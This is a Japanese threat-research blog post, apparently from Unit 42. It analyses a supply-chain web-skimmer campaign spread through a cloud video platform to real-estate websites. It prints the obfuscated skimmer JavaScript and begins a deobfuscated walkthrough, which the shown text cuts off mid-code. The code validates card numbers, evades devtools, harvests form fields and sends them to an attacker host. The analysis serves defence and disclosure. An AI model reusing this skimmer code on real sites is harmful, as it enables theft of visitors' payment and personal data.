{"id":121480,"date":"2022-01-03T22:23:08","date_gmt":"2022-01-04T06:23:08","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=121480"},"modified":"2022-01-26T16:44:57","modified_gmt":"2022-01-27T00:44:57","slug":"web-skimmer-video-distribution","status":"publish","type":"post","link":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/web-skimmer-video-distribution\/","title":{"rendered":"\u30af\u30e9\u30a6\u30c9\u30d3\u30c7\u30aa\u914d\u4fe1\u306e\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u306b\u3088\u308a\u4e0d\u52d5\u7523\u30b5\u30a4\u30c8\u3092\u72d9\u3046\u65b0\u305f\u306aWeb\u30b9\u30ad\u30de\u30fc\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u767a\u898b"},"content":{"rendered":"<h2>\u6982\u8981<\/h2>\n<p>\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u306f\u3001\u983b\u7e41\u306b\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u306e\u6a19\u7684\u306b\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u305d\u306e\u7406\u7531\u306f\u3001\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u5185\u306e\u300c\u5f31\u3044\u30ea\u30f3\u30af\u300d\u3092\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u3059\u308b\u3053\u3068\u3067\u3001\u3088\u308a\u591a\u304f\u306e\u88ab\u5bb3\u8005\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308b\u304b\u3089\u3067\u3059\u3002\u3068\u304f\u306b\u305d\u306e\u5f31\u3044\u30ea\u30f3\u30af\u304c\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u3092\u30bd\u30fc\u30b9\u3068\u3057\u3066\u3044\u308c\u3070\u3055\u3089\u306b\u52b9\u679c\u7684\u3067\u3059\u3002\u6700\u8fd1\u79c1\u305f\u3061\u306f\u3001\u30af\u30e9\u30a6\u30c9\u30d3\u30c7\u30aa\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3092\u5229\u7528\u3057\u3066\u300c\u30b9\u30ad\u30de\u30fc(\u5225\u540d<a href=\"https:\/\/unit42.paloaltonetworks.com\/tag\/formjacking-attack\/\">\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0<\/a>)\u300d\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5c55\u958b\u3059\u308b\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\u30b9\u30ad\u30de\u30fc\u653b\u6483\u3067\u306f\u3001\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u8005\u304c\u60aa\u610f\u306e\u3042\u308bJavaScript\u30b3\u30fc\u30c9\u3092\u633f\u5165\u3057\u3066Web\u30b5\u30a4\u30c8\u3092\u30cf\u30c3\u30ad\u30f3\u30b0\u3057\u3001\u305d\u306e\u30b5\u30a4\u30c8\u306eHTML\u30d5\u30a9\u30fc\u30e0\u30da\u30fc\u30b8\u306e\u6a5f\u80fd\u3092\u4e57\u3063\u53d6\u3063\u3066\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u6a5f\u5fae\u60c5\u5831\u3092\u53ce\u96c6\u3057\u307e\u3059\u3002\u4eca\u56de\u306e\u653b\u6483\u306e\u5834\u5408\u3001\u653b\u6483\u8005\u306f\u30d3\u30c7\u30aa\u306b\u30b9\u30ad\u30de\u30fc\u7528JavaScript\u30b3\u30fc\u30c9\u3092\u633f\u5165\u3057\u3066\u3044\u308b\u305f\u3081\u3001\u4ed6\u306e\u4eba\u304c\u30d3\u30c7\u30aa\u3092\u53d6\u308a\u8fbc\u3080\u3068\u3001\u305d\u306e\u4eba\u306eWeb\u30b5\u30a4\u30c8\u306b\u3082\u30b9\u30ad\u30de\u30fc\u30b3\u30fc\u30c9\u304c\u57cb\u3081\u8fbc\u307e\u308c\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u30d7\u30ed\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u76e3\u8996\u30fb\u691c\u77e5\u30b5\u30fc\u30d3\u30b9\u306f\u3001\u540c\u4e00\u306e\u30b9\u30ad\u30de\u30fc\u653b\u6483\u3067\u4fb5\u5bb3\u3055\u308c\u305f100\u4ef6\u4ee5\u4e0a\u306e\u4e0d\u52d5\u7523\u30b5\u30a4\u30c8\u3092\u691c\u51fa\u3057\u307e\u3057\u305f\u3002\u30b9\u30ad\u30de\u30fc\u653b\u6483\u306f\u3001\u4ee5\u524d\u306e\u30d6\u30ed\u30b0\u300c<a href=\"https:\/\/unit42.paloaltonetworks.jp\/anatomy-of-formjacking-attacks\/\">\u8a73\u8aac \u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483 \u51e6\u7406\u306e\u6d41\u308c\u3068\u30c6\u30af\u30cb\u30c3\u30af<\/a>\u300d\u3068\u300c<a href=\"https:\/\/unit42.paloaltonetworks.jp\/web-skimmer\/\">Web\u30b9\u30ad\u30de\u30fc\u306b\u95a2\u3059\u308b\u8a73\u7d30\u306a\u8003\u5bdf<\/a>\u300d\u306e\u516c\u958b\u4ee5\u964d\u3001\u653b\u6483\u8005\u306e\u9593\u3067\u4eba\u6c17\u304c\u9ad8\u307e\u3063\u3066\u3044\u307e\u3059\u3002\u7279\u5b9a\u3057\u305f\u30b5\u30a4\u30c8\u3092\u5206\u6790\u3057\u305f\u7d50\u679c\u3001\u3059\u3079\u3066\u306e\u4fb5\u5bb3\u30b5\u30a4\u30c8\u304c1\u3064\u306e\u89aa\u4f1a\u793e\u306b\u5c5e\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u4fb5\u5bb3\u30b5\u30a4\u30c8\u306f\u3059\u3079\u3066\u3001\u3042\u308b\u30af\u30e9\u30a6\u30c9\u30d3\u30c7\u30aa\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u304b\u3089\u540c\u4e00\u30d3\u30c7\u30aa(\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u542b\u3080)\u3092\u53d6\u308a\u8fbc\u3093\u3067\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u5f0a\u793e\u306f\u5f53\u8a72\u30af\u30e9\u30a6\u30c9\u30d3\u30c7\u30aa\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3068\u4e0d\u52d5\u7523\u4f1a\u793e\u3068\u5354\u529b\u3057\u3066\u3001\u30d3\u30c7\u30aa\u306e\u516c\u958b\u524d\u306b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u9664\u53bb\u3059\u308b\u652f\u63f4\u3092\u3057\u307e\u3057\u305f\u3002\u672c\u7a3f\u306f\u3001\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u306b\u3088\u308a\u3001\u77e5\u3089\u306c\u9593\u306b\u6b63\u898fWeb\u30b5\u30a4\u30c8\u304c\u611f\u67d3\u3057\u3066\u3057\u307e\u3046\u53ef\u80fd\u6027\u304c\u3042\u308b\u3053\u3068\u3092\u3001\u7d44\u7e54\u3084Web\u30e6\u30fc\u30b6\u30fc\u306e\u7686\u3055\u3093\u306b\u8b66\u544a\u3059\u308b\u3053\u3068\u3092\u76ee\u7684\u3068\u3057\u3066\u3044\u307e\u3059\u3002\u4ee5\u4e0b\u3001\u30b9\u30ad\u30de\u30fc\u653b\u6483\u306e\u5c55\u958b\u65b9\u6cd5\u3001\u88ab\u5bb3\u8005\u306e\u6a5f\u5fae\u60c5\u5831\u3092\u7a83\u53d6\u3059\u308b\u65b9\u6cd5\u3092\u9806\u3092\u8ffd\u3063\u3066\u8aac\u660e\u3057\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/next-generation-firewall\">\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb<\/a>\u306e<a href=\"https:\/\/www.paloaltonetworks.jp\/products\/secure-the-network\/wildfire\">WildFire<\/a>\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/products\/threat-detection-and-prevention\/web-security\">URL Filtering<\/a>\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u30b5\u30fc\u30d3\u30b9\u306b\u3088\u308a\u3053\u306e\u7a2e\u306e\u653b\u6483\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><span style=\"font-weight: 400;\">\u672c\u7a3f\u3067\u6271\u3046\u653b\u6483\u306e\u7a2e\u5225\u3068\u8106\u5f31\u6027\u306e\u7a2e\u5225<\/span><\/td>\n<td><a href=\"https:\/\/unit42.paloaltonetworks.com\/tag\/web-skimmer\/\"><span style=\"font-weight: 400;\">Skimmer attacks<\/span><\/a><span style=\"font-weight: 400;\">, <\/span><a href=\"https:\/\/unit42.paloaltonetworks.com\/tag\/formjacking-attack\/\"><span style=\"font-weight: 400;\">formjacking<\/span><\/a><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Unit 42 \u306e\u95a2\u9023\u30bf\u30b0<\/span><\/td>\n<td><a href=\"https:\/\/unit42.paloaltonetworks.com\/tag\/information-disclosure\/\"><span style=\"font-weight: 400;\">Information stealing<\/span><\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>\u76ee\u6b21<\/h2>\n<p><a href=\"#skimmer-detection\">\u30b9\u30ad\u30de\u30fc\u691c\u51fa<\/a><br \/>\n<a href=\"#skimmer-code-analysis\">\u30b9\u30ad\u30de\u30fc\u30b3\u30fc\u30c9\u89e3\u6790<\/a><br \/>\n<a href=\"#malicious-code-in-video\">\u30d3\u30c7\u30aa\u306b\u542b\u307e\u308c\u308b\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9<\/a><br \/>\n<a href=\"#conclusion\">\u7d50\u8ad6<\/a><br \/>\n<a href=\"#indicators-of-compromise\">IoC<\/a><\/p>\n<h2><a id=\"skimmer-detection\"><\/a>\u30b9\u30ad\u30de\u30fc\u691c\u51fa<\/h2>\n<p>\u79c1\u305f\u3061\u306f\u3001\u81ea\u793e\u306e\u30d7\u30ed\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u76e3\u8996\u30fb\u691c\u77e5\u30b5\u30fc\u30d3\u30b9\u3092\u4f7f\u3044\u3001\u4eca\u56de\u53d6\u308a\u4e0a\u3052\u305f\u30b9\u30ad\u30de\u30fc\u653b\u6483\u306b\u3088\u3063\u3066\u4fb5\u5bb3\u3055\u308c\u305fWeb\u30b5\u30a4\u30c8\u3092\u6355\u6349\u3057\u307e\u3057\u305f\u3002\u6355\u6349\u3055\u308c\u305fWeb\u30b5\u30a4\u30c8\u306f\u4ee5\u4e0b\u306eIoC(<a href=\"#indicators-of-compromise\">Indicator of compromise\u3001\u4fb5\u5bb3\u6307\u6a19<\/a>)\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u8a18\u8f09\u3057\u307e\u3059\u3002<\/p>\n<p>\u3053\u3053\u3067\u306f\u3042\u308bWeb\u30b5\u30a4\u30c8\u3092\u4f8b\u306b\u3068\u308a\u307e\u3059(\u56f31\u53c2\u7167)\u3002\u3053\u306e\u30d5\u30a9\u30fc\u30e0\u306f\u3001\u8a2a\u554f\u8005\u304c\u58f2\u5bb6\u306b\u95a2\u3059\u308b\u8a73\u7d30\u60c5\u5831\u3092\u8981\u6c42\u3059\u308b\u305f\u3081\u306e\u3082\u306e\u3067\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u500b\u4eba\u60c5\u5831\u306e\u63d0\u4f9b\u3092\u6c42\u3081\u308b\u30d5\u30a3\u30fc\u30eb\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_121448\" class=\"wp-caption aligncenter\" style=\"width: 990px;\" aria-describedby=\"caption-attachment-121448\">\n<p><figure id=\"attachment_121449\" aria-describedby=\"caption-attachment-121449\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-121449 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/12\/word-image-19.png\" alt=\"\u3053\u306e\u30d5\u30a9\u30fc\u30e0\u306f\u3001\u8a2a\u554f\u8005\u304c\u58f2\u5bb6\u306b\u95a2\u3059\u308b\u8a73\u7d30\u60c5\u5831\u3092\u8981\u6c42\u3059\u308b\u305f\u3081\u306e\u3082\u306e\u3067\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u500b\u4eba\u60c5\u5831\u306e\u63d0\u4f9b\u3092\u6c42\u3081\u308b\u30d5\u30a3\u30fc\u30eb\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\" width=\"900\" height=\"740\" \/><figcaption id=\"caption-attachment-121449\" class=\"wp-caption-text\">\u56f31 \u6f5c\u5728\u7684\u88ab\u5bb3\u8005\u306e\u6a5f\u5fae\u60c5\u5831\u3092\u805e\u304d\u51fa\u3059<\/figcaption><\/figure><figcaption id=\"caption-attachment-121448\" class=\"wp-caption-text\"><\/figcaption><\/figure>\n<p>\u3053\u306e\u30da\u30fc\u30b8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3068\u5f0a\u793e\u306e\u691c\u77e5\u30b5\u30fc\u30d3\u30b9\u304ciframe\u306eURL\u306b\u3042\u308b\u30b9\u30ad\u30de\u30fc\u653b\u6483\u3092\u691c\u77e5\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_121450\" aria-describedby=\"caption-attachment-121450\" style=\"width: 1718px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-121451 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/12\/word-image-20.png\" alt=\"\u56f31\u306b\u793a\u3057\u305f\u30da\u30fc\u30b8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3068\u5f0a\u793e\u306e\u691c\u77e5\u30b5\u30fc\u30d3\u30b9\u304ciframe\u306eURL\u306b\u3042\u308b\u30b9\u30ad\u30de\u30fc\u653b\u6483\u3092\u691c\u77e5\u3057\u307e\u3059\u3002 \" width=\"1718\" height=\"1327\" \/><figcaption id=\"caption-attachment-121450\" class=\"wp-caption-text\">\u56f32 \u3053\u306eHTML\u30da\u30fc\u30b8\u306b\u306f\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u304c\u5b58\u5728\u3057\u3066\u3044\u308b<\/figcaption><\/figure>\n<h2><a id=\"skimmer-code-analysis\"><\/a>\u30b9\u30ad\u30de\u30fc\u30b3\u30fc\u30c9\u89e3\u6790<\/h2>\n<p>\u3053\u306e\u30b9\u30ad\u30de\u30fc\u304c\u3069\u306e\u3088\u3046\u306b\u52d5\u4f5c\u3059\u308b\u304b\u3092\u7406\u89e3\u3059\u308b\u305f\u3081\u3001\u30b5\u30f3\u30d7\u30eb\u30b3\u30fc\u30c9\u3092\u6df1\u304f\u6398\u308a\u4e0b\u3052\u3066\u307f\u307e\u3057\u3087\u3046\u3002\u307e\u305a\u306f\u4fb5\u5bb3\u30b5\u30a4\u30c8\u304b\u3089\u62bd\u51fa\u3057\u305fJavaScript\u306e\u30b3\u30fc\u30c9\u3092\u898b\u3066\u307f\u307e\u3059\u3002<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta --><\/p>\n<pre class=\"lang:default decode:true\">var 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r=t();\r\nvar i=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=\";\r\nr[\"atob\"]||(r[\"atob\"]=function(e){var t=String(e)[\"replace\"](\/=+$\/,\"\");\r\nfor(var r=0,n,a,s=0,o=\"\";\r\na=t[\"charAt\"](s++);\r\n~a&amp;&amp;(n=r%4?n*64+a:a,r++%4)?o+=String[\"fromCharCode\"](255&amp;n&gt;&gt;(-2*r&amp;6)):0){a=i[\"indexOf\"](a)}return o})})();\r\nl[\"lGbxnk\"]=function(e){var t=atob(e);\r\nvar r=[];\r\nfor(var i=0,n=t[\"length\"];\r\ni&lt;n;i++){r+=\"%\"+(\"00\"+t[\"charCodeAt\"](i)[\"toString\"](16))[\"slice\"](-2)}return decodeURIComponent(r)};\r\nl[\"giOUOg\"]={};\r\nl[\"HwWGHQ\"]=!![]}var n=l[\"giOUOg\"][t];\r\nif(n===undefined){i=l[\"lGbxnk\"](i);\r\nl[\"giOUOg\"][t]=i}else{i=n}return i};\r\nfunction c(e,t,r){return e[l(\"0x0\")](new RegExp(t,\"g\"),r)}function d(e){var t=\/^(?:4[0-9]{12}(?:[0-9]{3})?)$\/;\r\nvar r=\/^(?:5[1-5][0-9]{14})$\/;\r\nvar i=\/^(?:3[47][0-9]{13})$\/;\r\nvar n=\/^(?:6(?:011|5[0-9][0-9])[0-9]{12})$\/;\r\nvar a=![];\r\nif(t[\"test\"](e)){a=!![]}else if(r[l(\"0x1\")](e)){a=!![]}else if(i[l(\"0x1\")](e)){a=!![]}else if(n[l(\"0x1\")](e)){a=!![]}return a}function f(e){if(\/[^0-9-\\s]+\/[\"test\"](e))return![];\r\nvar t=0,r=0,i=![];\r\ne=e[l(\"0x0\")](\/\\D\/g,\"\");\r\nfor(var n=e[l(\"0x2\")]-1;\r\nn&gt;=0;\r\nn--){var a=e[l(\"0x3\")](n),r=parseInt(a,10);\r\nif(i){if((r*=2)&gt;9)r-=9}t+=r;\r\ni=!i}return t%10==0}(function(){\"use strict\";\r\nconst t={};\r\nt[l(\"0x4\")]=![];\r\nt[l(\"0x5\")]=undefined;const r=160;\r\nconst i=(t,r)=&gt;{e[l(\"0x6\")](new CustomEvent(\"devtoolschange\",{detail:{isOpen:t,orientation:r}}))};\r\nsetInterval(()=&gt;{const n=e[l(\"0x7\")]-e[l(\"0x8\")]&gt;r;\r\nconst a=e[l(\"0x9\")]-e[l(\"0xa\")]&gt;r;\r\nconst s=n?l(\"0xb\"):l(\"0xc\");\r\nif(!(a&amp;&amp;n)&amp;&amp;(e[l(\"0xd\")]&amp;&amp;e[\"Firebug\"][l(\"0xe\")]&amp;&amp;e[l(\"0xd\")][\"chrome\"][l(\"0xf\")]||n||a)){if(!t[\"isOpen\"]||t[l(\"0x5\")]!==s){i(!![],s)}t[\"isOpen\"]=!![];\r\nt[\"orientation\"]=s}else{if(t[l(\"0x4\")]){i(![],undefined)}t[\"isOpen\"]=![];\r\nt[l(\"0x5\")]=undefined}},500);\r\nif(typeof module!==l(\"0x10\")&amp;&amp;module[l(\"0x11\")]){module[l(\"0x11\")]=t}else{e[l(\"0x12\")]=t}})();\r\nString[\"prototype\"][l(\"0x13\")]=function(){var e=0,t,r;\r\nif(this[l(\"0x2\")]===0)return e;\r\nfor(t=0;t&lt;this[l(\"0x2\")];\r\nt++){r=this[l(\"0x14\")](t);\r\ne=(e&lt;&lt;5)-e+r;\r\ne|=0}return e};\r\nvar h={};\r\nh[l(\"0x15\")]=\"https:\/\/cdn-imgcloud[.]com\/img\";\r\nh[l(\"0x16\")]={};\r\nh[\"Sent\"]=[];\r\nh[\"IsValid\"]=![];\r\nh[l(\"0x17\")]=function(e){if(e.id!==undefined&amp;&amp;e.id!=\"\"&amp;&amp;e.id!==null&amp;&amp;e.value.length&lt;256&amp;&amp;e.value.length&gt;0){if(f(c(c(e.value,\"-\",\"\"),\" \",\"\"))&amp;&amp;d(c(c(e.value,\"-\",\"\"),\" \",\"\")))h.IsValid=!![];\r\nh.Data[e.id]=e.value;\r\nreturn}if(e.name!==undefined&amp;&amp;e.name!=\"\"&amp;&amp;e.name!==null&amp;&amp;e.value.length&lt;256&amp;&amp;e.value.length&gt;0){if(f(c(c(e.value,\"-\",\"\"),\" \",\"\"))&amp;&amp;d(c(c(e.value,\"-\",\"\"),\" \",\"\")))h.IsValid=!![];\r\nh.Data[e.name]=e.value;return}};\r\nh[l(\"0x18\")]=function(){var e=t.getElementsByTagName(l(\"0x19\"));\r\nvar r=t.getElementsByTagName(l(\"0x1a\"));\r\nvar i=t.getElementsByTagName(l(\"0x1b\"));\r\nfor(var n=0;\r\nn&lt;e.length;n++)h.SaveParam(e[n]);\r\nfor(var n=0;\r\nn&lt;r.length;n++)h.SaveParam(r[n]);\r\nfor(var n=0;\r\nn&lt;i.length;n++)h.SaveParam(i[n])};\r\nh[l(\"0x1c\")]=function(){if(!e.devtools.isOpen&amp;&amp;h.IsValid){h.Data[\"Domain\"]=location.hostname;\r\nvar t=encodeURIComponent(e.btoa(JSON.stringify(h.Data)));\r\nvar r=t.hashCode();\r\nfor(var i=0;\r\ni&lt;h.Sent.length;i++)if(h.Sent[i]==r)return;h.LoadImage(t)}};\r\nh[l(\"0x1d\")]=function(){h.SaveAllFields();\r\nh.SendData()};\r\nh[\"LoadImage\"]=function(e){h.Sent.push(e.hashCode());\r\nvar r=t.createElement(l(\"0x1e\"));\r\nr.src=h.GetImageUrl(e)};\r\nh[l(\"0x1f\")]=function(e){return h.Gate+l(\"0x20\")+e};\r\nt[l(\"0x21\")]=function(){if(t[l(\"0x22\")]===l(\"0x23\")){e[l(\"0x24\")](h[l(\"0x1d\")],500)}};<\/pre>\n<p><!-- [Format Time: 0.0122 seconds] --><\/p>\n<p><span style=\"font-weight: 400;\">\u9ad8\u5ea6\u306b\u96e3\u8aad\u5316\u3055\u308c\u3066\u3044\u308b\u305f\u3081\u3001\u3053\u306e\u30b3\u30fc\u30c9\u304b\u3089\u306f\u3053\u306e\u653b\u6483\u304c\u4f55\u3092\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u306e\u304b\u304c\u307b\u3068\u3093\u3069\u308f\u304b\u308a\u307e\u305b\u3093\u3002\u3053\u308c\u3092\u6574\u5f62\u3057\u30664\u3064\u306e\u30d1\u30fc\u30c8\u306b\u5206\u3051\u3001\u7406\u89e3\u3057\u3084\u3059\u304f\u3057\u307e\u3059\u3002<\/span><\/p>\n<h3>\u30b9\u30ad\u30de\u30fc\u30b3\u30fc\u30c9 \u30d1\u30fc\u30c81<\/h3>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta --><\/p>\n<pre class=\"lang:default decode:true\">var u = [\"VHJ5U2VuZA==\", \"SU1H\", \"R2V0SW1hZ2VVcmw=\", \"P3JlZmY9\", \"b25yZWFkeXN0YXRlY2hhbmdl\", \"cmVhZHlTdGF0ZQ==\", \"Y29tcGxldGU=\", \"c2V0SW50ZXJ2YWw=\", \"cmVwbGFjZQ==\", \"dGVzdA==\", \"bGVuZ3Ro\", \"Y2hhckF0\", \"aXNPcGVu\", \"b3JpZW50YXRpb24=\", \"ZGlzcGF0Y2hFdmVudA==\", \"b3V0ZXJXaWR0aA==\", \"aW5uZXJXaWR0aA==\", \"b3V0ZXJIZWlnaHQ=\", \"aW5uZXJIZWlnaHQ=\", \"dmVydGljYWw=\", \"aG9yaXpvbnRhbA==\", \"RmlyZWJ1Zw==\", \"Y2hyb21l\", \"aXNJbml0aWFsaXplZA==\", \"dW5kZWZpbmVk\", \"ZXhwb3J0cw==\", \"ZGV2dG9vbHM=\", \"aGFzaENvZGU=\", \"Y2hhckNvZGVBdA==\", \"R2F0ZQ==\", \"RGF0YQ==\", \"U2F2ZVBhcmFt\", \"U2F2ZUFsbEZpZWxkcw==\", \"aW5wdXQ=\", \"c2VsZWN0\", \"dGV4dGFyZWE=\", \"U2VuZERhdGE=\"];\r\n(function(e, t) {\r\n\u00a0\u00a0\u00a0var r = function(t) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0while (--t) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e[\"push\"](e[\"shift\"]())\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0};\r\n\u00a0\u00a0\u00a0r(++t)\r\n})(u, 230);\r\nvar l = function(t, r) {\r\n\u00a0\u00a0\u00a0t = t - 0;\r\n\u00a0\u00a0\u00a0var i = u[t];\r\n\u00a0\u00a0\u00a0if (l[\"HwWGHQ\"] === undefined) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0(function() {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var t = function() {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var t;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0t = Function(\"return (function() \" + '{}.constructor(\"return this\")( )' + \");\")()\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} catch (r) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0t = e\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return t\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0};\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var r = t();\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var i = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=\";\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0r[\"atob\"] || (r[\"atob\"] = function(e) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var t = String(e)[\"replace\"](\/=+$\/, \"\");\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0for (var r = 0, n, a, s = 0, o = \"\"; a = t[\"charAt\"](s++); ~a &amp;&amp; (n = r % 4 ?n * 64 + a : a, r++ % 4) ?o += String[\"fromCharCode\"](255 &amp; n &gt;&gt; (-2 * r &amp; 6)) : 0) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0a = i[\"indexOf\"](a)\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return o\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0})\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0})();\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0l[\"lGbxnk\"] = function(e) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var t = atob(e);\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var r = [];\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0for (var i = 0, n = t[\"length\"]; i &lt; n; i++) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0r += \"%\" + (\"00\" + t[\"charCodeAt\"](i)[\"toString\"](16))[\"slice\"](-2)\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return 